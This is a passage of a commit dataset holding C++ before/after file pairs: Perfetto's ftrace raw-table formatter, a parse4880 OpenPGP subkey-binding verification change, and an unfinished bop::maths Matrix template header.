sqlite3_value_type(argv[0]) != SQLITE_INTEGER) {\n    sqlite3_result_error(ctx, \"Usage: to_ftrace(id)\", -1);\n    return;\n  }\n  RowId row_id = sqlite3_value_int64(argv[0]);\n  auto pair = TraceStorage::ParseRowId(row_id);\n  PERFETTO_DCHECK(pair.first == TableId::kRawEvents);\n  auto row = pair.second;\n\n  const auto& raw_evts = storage_->raw_events();\n\n  UniqueTid utid = raw_evts.utids()[row];\n  const auto& thread = storage_->GetThread(utid);\n  uint32_t tgid = 0;\n  if (thread.upid.has_value()) {\n    tgid = storage_->GetProcess(thread.upid.value()).pid;\n  }\n  const auto& name = storage_->GetString(thread.name_id);\n\n  char line[4096];\n  base::StringWriter writer(line, sizeof(line));\n\n  ftrace_utils::FormatSystracePrefix(raw_evts.timestamps()[row],\n                                     raw_evts.cpus()[row], thread.tid, tgid,\n                                     base::StringView(name), &writer);\n\n  const auto& event_name = storage_->GetString(raw_evts.name_ids()[row]);\n  writer.AppendChar(' ');\n  if (event_name == \"print\") {\n    writer.AppendString(\"tracing_mark_write\");\n  } else {\n    writer.AppendString(event_name.c_str(), event_name.size());\n  }\n  writer.AppendChar(':');\n\n  FormatSystraceArgs(event_name, raw_evts.arg_set_ids()[row], &writer);\n  sqlite3_result_text(ctx, writer.CreateStringCopy(), -1, free);\n}\n\n}  \/\/ namespace trace_processor\n}  \/\/ namespace perfetto\n<commit_msg>Update trace_to_text for mm_filemap event am: 59bfc2a1ff am: 05cc0a7b44 am: ebd7104159<commit_after>\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"src\/trace_processor\/raw_table.h\"\n\n#include <inttypes.h>\n\n#include \"src\/trace_processor\/ftrace_descriptors.h\"\n#include \"src\/trace_processor\/sqlite_utils.h\"\n#include \"src\/trace_processor\/variadic.h\"\n\n#include \"perfetto\/trace\/ftrace\/binder.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/clk.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/filemap.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/ftrace.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/ftrace_event.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/sched.pbzero.h\"\n\nnamespace perfetto {\nnamespace trace_processor {\n\nRawTable::RawTable(sqlite3* db, const TraceStorage* storage)\n    : storage_(storage) {\n  auto fn = [](sqlite3_context* ctx, int argc, sqlite3_value** argv) {\n    auto* thiz = static_cast<RawTable*>(sqlite3_user_data(ctx));\n    thiz->ToSystrace(ctx, argc, argv);\n  };\n  sqlite3_create_function(db, \"to_ftrace\", 1,\n                          SQLITE_UTF8 | SQLITE_DETERMINISTIC, this, fn, nullptr,\n                          nullptr);\n}\n\nvoid RawTable::RegisterTable(sqlite3* db, const TraceStorage* storage) {\n  Table::Register<RawTable>(db, storage, \"raw\");\n}\n\nStorageSchema RawTable::CreateStorageSchema() {\n  const auto& raw = storage_->raw_events();\n  return StorageSchema::Builder()\n      .AddGenericNumericColumn(\"id\", RowIdAccessor(TableId::kRawEvents))\n      .AddOrderedNumericColumn(\"ts\", &raw.timestamps())\n      .AddStringColumn(\"name\", &raw.name_ids(), &storage_->string_pool())\n      .AddNumericColumn(\"cpu\", &raw.cpus())\n      .AddNumericColumn(\"utid\", &raw.utids())\n      .AddNumericColumn(\"arg_set_id\", &raw.arg_set_ids())\n      .Build({\"name\", \"ts\"});\n}\n\nuint32_t RawTable::RowCount() {\n  return static_cast<uint32_t>(storage_->raw_events().raw_event_count());\n}\n\nint RawTable::BestIndex(const QueryConstraints& qc, BestIndexInfo* info) {\n  info->estimated_cost = RowCount();\n\n  \/\/ Only the string columns are handled by SQLite\n  info->order_by_consumed = true;\n  size_t name_index = schema().ColumnIndexFromName(\"name\");\n  for (size_t i = 0; i < qc.constraints().size(); i++) {\n    info->omit[i] = qc.constraints()[i].iColumn != static_cast<int>(name_index);\n  }\n\n  return SQLITE_OK;\n}\n\nvoid RawTable::FormatSystraceArgs(NullTermStringView event_name,\n                                  ArgSetId arg_set_id,\n                                  base::StringWriter* writer) {\n  const auto& set_ids = storage_->args().set_ids();\n  auto lb = std::lower_bound(set_ids.begin(), set_ids.end(), arg_set_id);\n  auto ub = std::find(lb, set_ids.end(), arg_set_id + 1);\n\n  auto start_row = static_cast<uint32_t>(std::distance(set_ids.begin(), lb));\n\n  using ValueWriter = std::function<void(const Variadic&)>;\n  auto write_value = [this, writer](const Variadic& value) {\n    switch (value.type) {\n      case Variadic::kInt:\n        writer->AppendInt(value.int_value);\n        break;\n      case Variadic::kUint:\n        writer->AppendUnsignedInt(value.uint_value);\n        break;\n      case Variadic::kString: {\n        const auto& str = storage_->GetString(value.string_value);\n        writer->AppendString(str.c_str(), str.size());\n        break;\n      }\n      case Variadic::kReal:\n        writer->AppendDouble(value.real_value);\n        break;\n      case Variadic::kPointer:\n        writer->AppendUnsignedInt(value.pointer_value);\n        break;\n      case Variadic::kBool:\n        writer->AppendBool(value.bool_value);\n        break;\n      case Variadic::kJson: {\n        const auto& str = storage_->GetString(value.json_value);\n        writer->AppendString(str.c_str(), str.size());\n        break;\n      }\n    }\n  };\n  auto write_value_at_index = [this, start_row](uint32_t arg_idx,\n                                                ValueWriter value_fn) {\n    value_fn(storage_->args().arg_values()[start_row + arg_idx]);\n  };\n  auto write_arg = [this, writer, start_row](uint32_t arg_idx,\n                                             ValueWriter value_fn) {\n    uint32_t arg_row = start_row + arg_idx;\n    const auto& args = storage_->args();\n    const auto& key = storage_->GetString(args.keys()[arg_row]);\n    const auto& value = args.arg_values()[arg_row];\n\n    writer->AppendChar(' ');\n    writer->AppendString(key.c_str(), key.size());\n    writer->AppendChar('=');\n    value_fn(value);\n  };\n\n  if (event_name == \"sched_switch\") {\n    using SS = protos::pbzero::SchedSwitchFtraceEvent;\n    write_arg(SS::kPrevCommFieldNumber - 1, write_value);\n    write_arg(SS::kPrevPidFieldNumber - 1, write_value);\n    write_arg(SS::kPrevPrioFieldNumber - 1, write_value);\n    write_arg(SS::kPrevStateFieldNumber - 1, [writer](const Variadic& value) {\n      auto state = static_cast<uint16_t>(value.int_value);\n      writer->AppendString(ftrace_utils::TaskState(state).ToString().data());\n    });\n    writer->AppendLiteral(\" ==>\");\n    write_arg(SS::kNextCommFieldNumber - 1, write_value);\n    write_arg(SS::kNextPidFieldNumber - 1, write_value);\n    write_arg(SS::kNextPrioFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"sched_wakeup\") {\n    using SW = protos::pbzero::SchedWakeupFtraceEvent;\n    write_arg(SW::kCommFieldNumber - 1, write_value);\n    write_arg(SW::kPidFieldNumber - 1, write_value);\n    write_arg(SW::kPrioFieldNumber - 1, write_value);\n    write_arg(SW::kTargetCpuFieldNumber - 1, [writer](const Variadic& value) {\n      writer->AppendPaddedInt<'0', 3>(value.int_value);\n    });\n    return;\n  } else if (event_name == \"clock_set_rate\") {\n    \/\/ TODO(lalitm): this is a big hack but the best way to do this now.\n    \/\/ Doing this requires overhauling how we deal with args by pushing them all\n    \/\/ to an array and then reading back from that array.\n\n    \/\/ We use the string \"todo\" as the name to stay consistent with old\n    \/\/ trace_to_text print code.\n    writer->AppendString(\" todo\");\n    write_arg(0 \/* state *\/, write_value);\n    write_arg(1 \/* cpu_id *\/, write_value);\n    return;\n  } else if (event_name == \"clk_set_rate\") {\n    using CSR = protos::pbzero::ClkSetRateFtraceEvent;\n    writer->AppendLiteral(\" \");\n    write_value_at_index(CSR::kNameFieldNumber - 1, write_value);\n    writer->AppendLiteral(\" \");\n    write_value_at_index(CSR::kRateFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"binder_transaction\") {\n    using BT = protos::pbzero::BinderTransactionFtraceEvent;\n    writer->AppendString(\" transaction=\");\n    write_value_at_index(BT::kDebugIdFieldNumber - 1, write_value);\n    writer->AppendString(\" dest_node=\");\n    write_value_at_index(BT::kTargetNodeFieldNumber - 1, write_value);\n    writer->AppendString(\" dest_proc=\");\n    write_value_at_index(BT::kToProcFieldNumber - 1, write_value);\n    writer->AppendString(\" dest_thread=\");\n    write_value_at_index(BT::kToThreadFieldNumber - 1, write_value);\n    write_arg(BT::kReplyFieldNumber - 1, write_value);\n    writer->AppendString(\" flags=0x\");\n    write_value_at_index(\n        BT::kFlagsFieldNumber - 1, [writer](const Variadic& value) {\n          writer->AppendHexInt(static_cast<uint32_t>(value.int_value));\n        });\n    writer->AppendString(\" code=0x\");\n    write_value_at_index(\n        BT::kCodeFieldNumber - 1, [writer](const Variadic& value) {\n          writer->AppendHexInt(static_cast<uint32_t>(value.int_value));\n        });\n    return;\n  } else if (event_name == \"binder_transaction_alloc_buf\") {\n    using BTAB = protos::pbzero::BinderTransactionAllocBufFtraceEvent;\n    writer->AppendString(\" transaction=\");\n    write_value_at_index(BTAB::kDebugIdFieldNumber - 1, write_value);\n    write_arg(BTAB::kDataSizeFieldNumber - 1, write_value);\n    write_arg(BTAB::kOffsetsSizeFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"binder_transaction_received\") {\n    using BTR = protos::pbzero::BinderTransactionReceivedFtraceEvent;\n    writer->AppendString(\" transaction=\");\n    write_value_at_index(BTR::kDebugIdFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"mm_filemap_add_to_page_cache\") {\n    using MFA = protos::pbzero::MmFilemapAddToPageCacheFtraceEvent;\n    writer->AppendString(\" dev \");\n    write_value_at_index(MFA::kSDevFieldNumber - 1,\n                         [writer](const Variadic& value) {\n                           writer->AppendInt(value.int_value >> 20);\n                         });\n    writer->AppendString(\":\");\n    write_value_at_index(MFA::kSDevFieldNumber - 1,\n                         [writer](const Variadic& value) {\n                           writer->AppendInt(value.int_value & ((1 << 20) - 1));\n                         });\n    writer->AppendString(\" ino \");\n    write_value_at_index(MFA::kIInoFieldNumber - 1, write_value);\n    writer->AppendString(\" page=0000000000000000\");\n    writer->AppendString(\" pfn=\");\n    write_value_at_index(MFA::kPfnFieldNumber - 1, write_value);\n    writer->AppendString(\" ofs=\");\n    write_value_at_index(MFA::kIndexFieldNumber - 1,\n                         [writer](const Variadic& value) {\n                           writer->AppendInt(value.int_value << 12);\n                         });\n    return;\n  } else if (event_name == \"print\") {\n    using P = protos::pbzero::PrintFtraceEvent;\n\n    uint32_t arg_row = start_row + P::kBufFieldNumber - 1;\n    const auto& args = storage_->args();\n    const auto& value = args.arg_values()[arg_row];\n    const auto& str = storage_->GetString(value.string_value);\n    \/\/ If the last character is a newline in a print, just drop it.\n    auto chars_to_print = !str.empty() && str.c_str()[str.size() - 1] == '\\n'\n                              ? str.size() - 1\n                              : str.size();\n    writer->AppendChar(' ');\n    writer->AppendString(str.c_str(), chars_to_print);\n    return;\n  }\n\n  uint32_t arg = 0;\n  for (auto it = lb; it != ub; it++) {\n    write_arg(arg++, write_value);\n  }\n}\n\nvoid RawTable::ToSystrace(sqlite3_context* ctx,\n                          int argc,\n                          sqlite3_value** argv) {\n  if (argc != 1 || sqlite3_value_type(argv[0]) != SQLITE_INTEGER) {\n    sqlite3_result_error(ctx, \"Usage: to_ftrace(id)\", -1);\n    return;\n  }\n  RowId row_id = sqlite3_value_int64(argv[0]);\n  auto pair = TraceStorage::ParseRowId(row_id);\n  PERFETTO_DCHECK(pair.first == TableId::kRawEvents);\n  auto row = pair.second;\n\n  const auto& raw_evts = storage_->raw_events();\n\n  UniqueTid utid = raw_evts.utids()[row];\n  const auto& thread = storage_->GetThread(utid);\n  uint32_t tgid = 0;\n  if (thread.upid.has_value()) {\n    tgid = storage_->GetProcess(thread.upid.value()).pid;\n  }\n  const auto& name = storage_->GetString(thread.name_id);\n\n  char line[4096];\n  base::StringWriter writer(line, sizeof(line));\n\n  ftrace_utils::FormatSystracePrefix(raw_evts.timestamps()[row],\n                                     raw_evts.cpus()[row], thread.tid, tgid,\n                                     base::StringView(name), &writer);\n\n  const auto& event_name = storage_->GetString(raw_evts.name_ids()[row]);\n  writer.AppendChar(' ');\n  if (event_name == \"print\") {\n    writer.AppendString(\"tracing_mark_write\");\n  } else {\n    writer.AppendString(event_name.c_str(), event_name.size());\n  }\n  writer.AppendChar(':');\n\n  FormatSystraceArgs(event_name, raw_evts.arg_set_ids()[row], &writer);\n  sqlite3_result_text(ctx, writer.CreateStringCopy(), -1, free);\n}\n\n}  \/\/ namespace trace_processor\n}  \/\/ namespace perfetto\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2016 Lachlan Gunn\n\n#include <algorithm>\n#include <list>\n\n#include \"verify.h\"\n#include \"packet.h\"\n#include \"keys\/key.h\"\n#include \"parser.h\"\n#include \"exceptions.h\"\n\nnamespace parse4880 {\n\nnamespace {\n\nvoid UpdateContextWithKey(VerificationContext& ctx, const PublicKeyPacket& key) {\n  ctx.Update(\"\\x99\");\n  ctx.Update(WriteInteger(key.contents().length(), 2));\n  ctx.Update(key.contents());\n}\n\n}  \/\/ namespace\n\nint verify_subkey_binding(const PublicKeyPacket&    key_packet,\n                           const PublicSubkeyPacket& subkey_packet,\n                           const SignaturePacket&    signature) {\n  \/\/ First we need to get the primary key out of the packet.\n  std::unique_ptr<Key> key = Key::ParseKey(key_packet);\n\n  const std::list<std::shared_ptr<PGPPacket>>& subpackets = signature.subpackets();\n\n  std::unique_ptr<VerificationContext> ctx =\n      key->GetVerificationContext(signature);\n\n  UpdateContextWithKey(*ctx, key_packet);\n  UpdateContextWithKey(*ctx, subkey_packet);\n\n  bool verifies = ctx->Verify();\n\n  auto subsignature_iterator =\n      std::find_if(subpackets.begin(), subpackets.end(),\n                   [](const std::shared_ptr<PGPPacket>& x) -> bool {\n                     return (x->tag() == 32);\n                   });\n\n  if (subsignature_iterator != subpackets.end()) {\n    try {\n      std::unique_ptr<Key> subkey = Key::ParseKey(subkey_packet);\n      SignaturePacket subsignature_packet((**subsignature_iterator).contents());\n      std::unique_ptr<VerificationContext> ctx_subsignature =\n          subkey->GetVerificationContext(subsignature_packet);\n      UpdateContextWithKey(*ctx_subsignature, key_packet);\n      UpdateContextWithKey(*ctx_subsignature, subkey_packet);\n\n      verifies &= ctx_subsignature->Verify();\n    } catch(parse4880::parse4880_error e) {\n      return verifies;\n    }\n  }\n\n  return verifies;\n}\n\n}  \/\/ namespace parse4880\n<commit_msg>Added proper subkey verification return value.<commit_after>\/\/ Copyright 2016 Lachlan Gunn\n\n#include <algorithm>\n#include <list>\n\n#include \"verify.h\"\n#include \"packet.h\"\n#include \"keys\/key.h\"\n#include \"parser.h\"\n#include \"exceptions.h\"\n\nnamespace parse4880 {\n\nnamespace {\n\nvoid UpdateContextWithKey(VerificationContext& ctx, const PublicKeyPacket& key) {\n  ctx.Update(\"\\x99\");\n  ctx.Update(WriteInteger(key.contents().length(), 2));\n  ctx.Update(key.contents());\n}\n\n}  \/\/ namespace\n\nint verify_subkey_binding(const PublicKeyPacket&    key_packet,\n                           const PublicSubkeyPacket& subkey_packet,\n                           const SignaturePacket&    signature) {\n  \/\/ First we need to get the primary key out of the packet.\n  std::unique_ptr<Key> key = Key::ParseKey(key_packet);\n\n  \/\/ Next, we validate the top-level signature.\n  std::unique_ptr<VerificationContext> ctx =\n      key->GetVerificationContext(signature);\n\n  UpdateContextWithKey(*ctx, key_packet);\n  UpdateContextWithKey(*ctx, subkey_packet);\n\n  int verifies = ctx->Verify();\n\n  \/\/ The first signature having been validated, we need to check for and\n  \/\/ validate the second binding signature.\n  const std::list<std::shared_ptr<PGPPacket>>& subpackets = signature.subpackets();\n  auto subsignature_iterator =\n      std::find_if(subpackets.begin(), subpackets.end(),\n                   [](const std::shared_ptr<PGPPacket>& x) -> bool {\n                     return (x->tag() == 32);\n                   });\n\n  if (subsignature_iterator != subpackets.end()) {\n    try {\n      std::unique_ptr<Key> subkey = Key::ParseKey(subkey_packet);\n      SignaturePacket subsignature_packet((**subsignature_iterator).contents());\n      std::unique_ptr<VerificationContext> ctx_subsignature =\n          subkey->GetVerificationContext(subsignature_packet);\n      UpdateContextWithKey(*ctx_subsignature, key_packet);\n      UpdateContextWithKey(*ctx_subsignature, subkey_packet);\n\n      \/\/ We should signal somehow a verification failure.\n      verifies += ctx_subsignature->Verify();\n    } catch(parse4880::parse4880_error e) {\n      return verifies;\n    }\n  }\n\n  return verifies;\n}\n\n}  \/\/ namespace parse4880\n<|endoftext|>"}
{"text":"<commit_before>#ifndef BOP_MATRIX_HPP\n#define BOP_MATRIX_HPP\n\n#include <memory>\n#include <initializer_list>\n#include <string>\n#include <sstream>\n#include <new>\n#include \"Vector.hpp\"\n\n\/*\n\tbop::maths::Matrix class file\n*\/\n\nnamespace bop {\n\tnamespace maths{\n\t\ttemplate<class T>\n\t\tclass Matrix {\n\t\t\tprotected:\n\t\t\t\tunsigned int width;\n\t\t\t\tunsigned int height;\n\t\t\tpublic:\n\t\t\t\tVector<T>* data;\n\t\t\t\t\n\t\t\t\t\/\/Constructors\n\t\t\t\tMatrix(unsigned int size, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSquare matrix constructor, sets all values as\n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[size];\n\t\t\t\t\tfor (int i = 0; i < size; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(size, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = size;\n\t\t\t\t\tthis->height = size;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(unsigned int width, unsigned int height, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tNon-square matrix constructor, sets all values as \n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[height];\n\t\t\t\t\tfor (int i = 0; i < height; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(width, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->height = height;\n\t\t\t\t\tthis->width = width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(std::initializer_list< std::initializer_list<T> > list) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCreates a matrix from a 2-dimensional initializer_list.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->height = list.size();\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tunsigned int min_w = list.begin()->size();\n\t\t\t\t\tint i = 0;\n\t\t\t\t\tfor (auto elem : list) {\n\t\t\t\t\t\tif (elem.size() < min_w) min_w = elem.size();\n\t\t\t\t\t\tthis->data[i] = elem;\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = min_w;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCopy constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->width; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>&& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMove constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = mat.data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tEmpty constructor.\n\t\t\t\t\t*\/\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Destructor\n\t\t\t\t~Matrix() {\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Operator overloads\n\t\t\t\tinline Vector<T>& operator[] (const unsigned int index) {}\n\t\t\t\tMatrix<T>& operator= (const Matrix<T> &mat) {}\n\t\t\t\t\n\t\t\t\t\/\/Arithmetic overloads\n\t\t\t\tMatrix<T>& operator*= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar multiplication member operator, multiplies all\n\t\t\t\t\t\telements by the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] *= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator*= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix multiplication member operator.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp = new Vector<T>[this->height];\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\ttemp[i] = Vector<T>(mat.width);\n\t\t\t\t\t}\n\t\t\t\t\tfor (int r = 0; r < this->height; r++) {\n\t\t\t\t\t\tfor (int c = 0; c < mat.width; c++) {\n\t\t\t\t\t\t\tT product = 0;\n\t\t\t\t\t\t\tfor (int i = 0; i < mat.width; i++) {\n\t\t\t\t\t\t\t\tproduct += (this->data[r][i] * mat.data[i][c]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ttemp[r][c] = product;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = temp;\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator\/= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar division member operator, divides all elements\n\t\t\t\t\t\tby the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] \/= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator+= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tAddition member operator, adds all the elements of a\n\t\t\t\t\t\tgiven matrix to the matrix.\n\t\t\t\t\t*\/\t\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] += mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator-= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSubtraction member operator, subtracts the value of\n\t\t\t\t\t\teach element in a given matrix from the matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] -= mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Information functions\n\t\t\t\tinline unsigned int w() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the width of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline unsigned int h() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the height of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->height;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline bool square() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tDetermines if the Matrix is a square Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn (this->width == this->height);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tstd::string string(bool newlines = true) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSimilar to the maths::Vector::string function, returns \n\t\t\t\t\t\ta human-readable representation of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tstd::ostringstream mat_str;\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tmat_str << '[' << this->data[i].string(false) << ']';\n\t\t\t\t\t\tif (newlines) mat_str << '\\n';\n\t\t\t\t\t}\n\t\t\t\t\treturn mat_str.str();\n\t\t\t\t}\n\t\t\t\n\t\t};\n\t\t\n\t\t\/\/External arithmetic overloads\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> mat, const T scalar) {\n\t\t\tmat *= scalar;\n\t\t\treturn mat;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> mat1, Matrix<T>& mat2) {\n\t\t\tmat1 *= mat2;\n\t\t\treturn mat1;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator\/ (Matrix<T> mat, const T scalar) {\n\t\t\tmat \/= scalar;\n\t\t\treturn mat;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator+ (Matrix<T> mat1, Matrix<T>& mat2) {\n\t\t\tmat1 += mat2;\n\t\t\treturn mat1;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator- (Matrix<T> mat1, Matrix<T>& mat2) {\n\t\t\tmat1 -= mat2;\n\t\t}\n\t\t\n\t\t\/\/Matrix related functions\n\t\ttemplate<class T>\n\t\tT determinant(Matrix<T>& mat, Vector<bool>& allowed_cols, unsigned int& size) {\n\t\t\t\/*\n\t\t\t\tRecursive matrix determinant function.\n\t\t\t*\/\n\t\t\tif (size == 2) {\n\t\t\t\t\/\/the  base case, finding the 2 by 2 matrix determinant\n\t\t\t\tint c1 = -1, c2 = -1;\n\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (allowed_cols[i]) {\n\t\t\t\t\t\tif (c1 < 0) {\n\t\t\t\t\t\t\tc1 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (c2 < 0) {\n\t\t\t\t\t\t\tc2 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn (mat[mat.h() - 2][c1] * mat[mat.h() - 1][c2]) - (mat[mat.h() - 2][c2] * mat[mat.h() - 1][c1]);\n\t\t\t\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsize--;\n\t\t\t\tT product = 0;\n\t\t\t\tT multi = 1;\n\t\t\t\t\n\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (!allowed_cols[i]) continue;\n\t\t\t\t\telse {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[mat.h() - size][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tsize++;\n\t\t\t\treturn product;\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tT determinant(Matrix<T>& mat) {\n\t\t\t\/*\n\t\t\t\tMatrix determinant init function.\n\t\t\t*\/\n\t\t\tif (mat.w() != mat.h()) return static_cast<T>(0);\n\t\t\telse {\n\t\t\t\tif (mat.w() == 2) {\n\t\t\t\t\t\/\/shortcut to determinant of a 2 by 2 matrix\n\t\t\t\t\treturn (mat[0][0] * mat[1][1]) - (mat[0][1] * mat[1][0]);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tVector<bool> allowed_cols(mat.w(), true);\n\t\t\t\t\tT product = 0;\n\t\t\t\t\tT multi = 1;\n\t\t\t\t\tint size = mat.h() - 1;\n\t\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[0][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t}\n\t\t\t\t\treturn product;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> identityMatrix(unsigned int size) {\n\t\t\t\/*\n\t\t\t\tReturns an Identity Matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> unit_m(size);\n\t\t\tfor (int i = 0; i < size; i++) {\n\t\t\t\tunit_m[i] = 1;\n\t\t\t}\n\t\t\treturn unit_m;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> inverseMatrix(Matrix<T> &mat) {\n\t\t\t\/\/Todo\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> transposeMatrix(Matrix<T> &mat) {\n\t\t\t\/*\n\t\t\t\tReturns a transposed matrix. \n\t\t\t*\/\n\t\t\tMatrix<T> trans(mat.h(), mat.w(), 0);\n\t\t\tfor (unsigned int y = 0; y < mat.h(); y++) {\n\t\t\t\tfor (unsigned int x = 0; x < mat.w(); x++) {\n\t\t\t\t\ttrans[x][y] = mat[y][x];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 